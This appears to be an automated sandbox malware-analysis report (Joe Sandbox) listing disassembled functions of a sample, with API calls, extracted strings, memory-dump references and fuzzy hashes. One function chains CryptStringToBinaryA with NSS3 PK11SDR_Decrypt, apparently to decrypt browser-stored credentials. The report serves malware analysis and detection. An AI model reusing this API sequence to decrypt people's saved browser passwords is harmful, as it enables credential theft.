Function 006CC820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 006CC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 006CC87C
PK11_GetInternalKeySlot.NSS3 ref: 006CC88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 006CC8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 006CC8EB
lstrcat.KERNEL32(?,006E0B46), ref: 006CC943
lstrcat.KERNEL32(?,006E0B47), ref: 006CC957
PK11_FreeSlot.NSS3(?), ref: 006CC961
lstrcat.KERNEL32(?,006E0B4E), ref: 006CC978

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: e2cc3a5fb16e507c94a9ba75220466a46b06fe1ce7fa8512f6ec45b2827f2542
Instruction ID: 4db8b9753036a8071f71374439cb156110dce9ba3a2b3f56ed394290a89ac2f6
Opcode Fuzzy Hash: e2cc3a5fb16e507c94a9ba75220466a46b06fe1ce7fa8512f6ec45b2827f2542
Instruction Fuzzy Hash: 1D4169B5D1430AEFDB10DFA0DC89BFEB7B9BB48304F1041A8E509A6280D7719A85DF91

Function 00A8C035 Relevance: 12.9, Strings: 9, Instructions: 1626COMMON

Download Yara Rule

Strings

,=/, xrefs: 00A8CF42
.y}m, xrefs: 00A8C501
AQse, xrefs: 00A8C837
7o, xrefs: 00A8C056
JlpK, xrefs: 00A8D212
|w, xrefs: 00A8CE0F
:N{, xrefs: 00A8CC64
5\, xrefs: 00A8C419
3o, xrefs: 00A8C051

Memory Dump Source

Source File: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: |w$,=/$.y}m$3o$7o$:N{$AQse$JlpK$5\
API String ID: 0-3552002567
Opcode ID: 67207ab544f267e37f7e8f9c46973cc32f5606602514da57197c9b333a55fcf7
Instruction ID: 12e372edd1e9782b4dae6fa583b5dcdb98c08b6af8332a11db0ae6aaa5fbe8b8
Opcode Fuzzy Hash: 67207ab544f267e37f7e8f9c46973cc32f5606602514da57197c9b333a55fcf7
Instruction Fuzzy Hash: 23B23AF36082049FE7046E2DDC8567AFBEAEFD4720F1A893DE6C4C3744EA3558058696

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C6A2E3B
(root), xrefs: 6C6A354F
expected a Time entry, xrefs: 6C6A2E36

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 00A9B456 Relevance: 11.7, Strings: 8, Instructions: 1656COMMON

Download Yara Rule

Strings

H~?, xrefs: 00A9BC28
7=N^, xrefs: 00A9BCE0
0gw|, xrefs: 00A9BD03
I`w, xrefs: 00A9C129
xmn, xrefs: 00A9BDAC
pWVo, xrefs: 00A9BB17
sM_[, xrefs: 00A9B572
elW, xrefs: 00A9C65F

Memory Dump Source

Source File: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0gw|$7=N^$H~?$elW$pWVo$sM_[$xmn$I`w
API String ID: 0-4103662402
Opcode ID: c665e7dfdaa213ed7a9cee4385865d2ce2f5ea2953298db7faf1e322dd14180f
Instruction ID: 8041441cfac4e01d48923f9290907ba4979dad7d6bb65f9712f36bcef8a18c29
Opcode Fuzzy Hash: c665e7dfdaa213ed7a9cee4385865d2ce2f5ea2953298db7faf1e322dd14180f
Instruction Fuzzy Hash: 89B23AF3A0C2049FE308AE2DEC8567AFBE9EF94320F1A453DEAC5C3744E57558058696

Function 00A97E6A Relevance: 11.6, Strings: 8, Instructions: 1634COMMON

Download Yara Rule

Strings

GGot, xrefs: 00A9829E
~[5, xrefs: 00A97FE6
R4{, xrefs: 00A982AB
p@0, xrefs: 00A99143
-6Uo, xrefs: 00A9812D
'(>v, xrefs: 00A98A48
ls/i686-w64-mingw32/i686-w64-mingw32/sysroot/mingw/include/psdk_inc, xrefs: 00A97FD5, 00A97FF5
w-o}, xrefs: 00A9855A

Memory Dump Source

Source File: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '(>v$-6Uo$GGot$R4{$ls/i686-w64-mingw32/i686-w64-mingw32/sysroot/mingw/include/psdk_inc$p@0$w-o}$~[5
API String ID: 0-171067156
Opcode ID: 3029c5ab079a2740dc3b3e2378038788986de0fb848389c757a8fe8a6d2afc85
Instruction ID: 4f79e151ea7212696d07fbe596747858b2bc3c2dfe108b28edf2187aa99c4c46
Opcode Fuzzy Hash: 3029c5ab079a2740dc3b3e2378038788986de0fb848389c757a8fe8a6d2afc85
Instruction Fuzzy Hash: ABB239F360C2049FE7086F2DEC8567ABBE9EF94320F1A853DE6C4C7744EA3558058696

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 6C65DAF6
1, xrefs: 6C65DBDD
, xrefs: 6C65DA88
9, xrefs: 6C65DE7F
0, xrefs: 6C65DC7F
0, xrefs: 6C65D852
-, xrefs: 6C65D7DD
8, xrefs: 6C65DC08

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 00A9630D Relevance: 10.4, Strings: 7, Instructions: 1648COMMON

Download Yara Rule

Strings

r?w, xrefs: 00A97179
7e], xrefs: 00A96812
?Hk_, xrefs: 00A96372
A|<, xrefs: 00A9682C
{e_e, xrefs: 00A970A5
3;o_, xrefs: 00A975F9
ti{n, xrefs: 00A96A94

Memory Dump Source

Source File: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3;o_$7e]$?Hk_$A|<$r?w$ti{n${e_e
API String ID: 0-2260246798
Opcode ID: 721f530459e94399517e5d04e55e64e4426be006631fbc9f444f3c7d037d24ee
Instruction ID: 00976e0884cad974361d42a5634f7d65878005cad1c7d4a36f1f269f19d96fbf
Opcode Fuzzy Hash: 721f530459e94399517e5d04e55e64e4426be006631fbc9f444f3c7d037d24ee
Instruction Fuzzy Hash: 63B23AF3A0C2009FE304AE2DDC8567ABBE6EFD4720F16893DEAC4C7744E93559058696

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C9269, 6C6C56C7, 6C6C5703, 6C6C5740, 6C6C921F, 6C6C9459, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C9269, 6C6C56C7, 6C6C5703, 6C6C5740, 6C6C921F, 6C6C9459, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 006C9AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nl,00000000,00000000), ref: 006C9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,006C4EEE,00000000,?), ref: 006C9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nl,00000000,00000000), ref: 006C9B2A
LocalFree.KERNEL32(?,?,?,?,006C4EEE,00000000,?), ref: 006C9B3F

Strings

Nl, xrefs: 006C9AD4, 006C9AE1, 006C9AF9, 006C9B18, 006C9AE4, 006C9B1B

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

